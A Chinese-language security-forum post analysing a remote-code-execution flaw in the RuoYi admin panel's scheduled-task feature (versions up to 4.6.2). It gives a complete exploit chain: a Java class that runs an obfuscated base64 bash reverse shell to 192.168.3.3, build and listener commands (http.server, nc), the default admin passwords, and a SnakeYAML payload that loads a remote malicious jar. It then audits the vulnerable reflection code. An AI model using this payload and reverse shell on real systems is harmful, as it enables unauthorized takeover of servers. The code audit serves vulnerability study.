某依后台RCE分析
1010737933614175 漏洞分析 25596浏览 · 2021-12-23 15:26

漏洞标题:若依后台RCE
漏洞类型:命令执行
漏洞等级:严重
影响范围:RuoYi<=4.6.2
简要描述:由于若依后台计划任务处,对于传入的"调用目标字符串"没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。
闲聊:最近正好在学java,并且项目中又遇到若依,于是就顺手分析了一下这个漏洞,在下才疏学浅各位大佬勿喷!!!

利用步骤:

1、利用Github项目生成恶意jar包:https://github.com/artsploit/yaml-payload
先修改项目源码文件 src/artsploit/AwesomeScriptEngineFactory.java 执行Linux反弹shell命令

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
...
}

接着运行如下命令打包成jar文件

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

2、利用python监听HTTP请求,让受害者能够访问到yaml-payload.jar。并且监听反弹shell

python3 -m http.server 2333
nc -lvnp 1234

3、登录进入后台(默认密码admin/admin123,ry/admin123),然后进入系统监控/定时任务/新增,添加计划任务。
"调用目标字符串"输入YAML语句:

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.3.3:2333/yaml-payload.jar"]]]]')


4、计划任务执行完成之后就能收到受害者的回连请求

代码审计过程:

1、当我们添加并执行计划任务时,若依(ruoyi)会调用com.ruoyi.quartz.util#JobInvokeUtil 解析并执行我们传入的数据
这里的代码逻辑:
beanName 获取传入的类名;
methodName 获取传入的方法名;
methodParams 获取传入方法的参数,如果参数异常会报错导致无法执行下一步;

接着判断传入的类名是否有效(判断逻辑:是否含有小数点),有效的话就会调用Class.forName(beanName).newInstance(); 进行实例化,然后运行invokeMethod(bean, methodName, methodParams); 执行该类对应的方法


2、可能直接贴代码大家不知道数据是怎么传输的,现在我传入一串如下数据,然后调试一下大家就明白了(这里有个坑,传入的字符串必须用单引号包含,不然会出现问题,尤其是EXP的时候,刚开始复现漏洞就因为这里弄了好久还以为是玄学,感兴趣的可以看看com.ruoyi.quartz.util#getMethodParams)

java.lang.xxx.func('aaa')



【+】我们传入的是java.lang.xxx.func('aaa')

  • beanName = "java.lang.xxx"
  • methodName = "func"
  • methodParams = "aaa"

最终执行的反射代码为:Class.forName("java.lang.xxx").getDeclaredMethod("func", String.class).invoke(Class.forName("java.lang.xxx").newInstance(), "aaa")

3、由于反射时所需要的:类、方法、参数都是我们可控的,所以我们只需传入一个能够执行命令的类方法就能达到getshell的目的,该类只需要满足如下几点要求即可:

  • 具有public类型的无参构造方法
  • 自身具有public类型且可以执行命令的方法

4、在网上看文章发现大佬们找到 _org.yaml.snakeyaml.Yaml _满足这些条件,YAML执行命令参考:浅蓝大佬文章

  • 个人比较喜欢调用RMI来执行命令,但是若依(ruoyi)调用RMI会报错,所以只能调用远程jar进行命令执行
import org.yaml.snakeyaml.Yaml;
import java.lang.reflect.InvocationTargetException;

public class YamlDemo {
    public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException {
        Yaml yaml = new Yaml();
        yaml.load("!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://1.1.1.1:2333/Demo.jar']]]]");
        //yaml.load("!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://127.0.0.1:9999/t', autoCommit: true}");
        //Class.forName("org.yaml.snakeyaml.Yaml").getMethod("load", String.class).invoke(Class.forName("org.yaml.snakeyaml.Yaml").newInstance(), "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://192.168.3.3:2333/Demo.jar']]]]");
    }
}

5、于是我们构造出最终传入的payload为

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.3.3:2333/yaml-payload.jar"]]]]')
0 条评论
某人
表情
可输入 255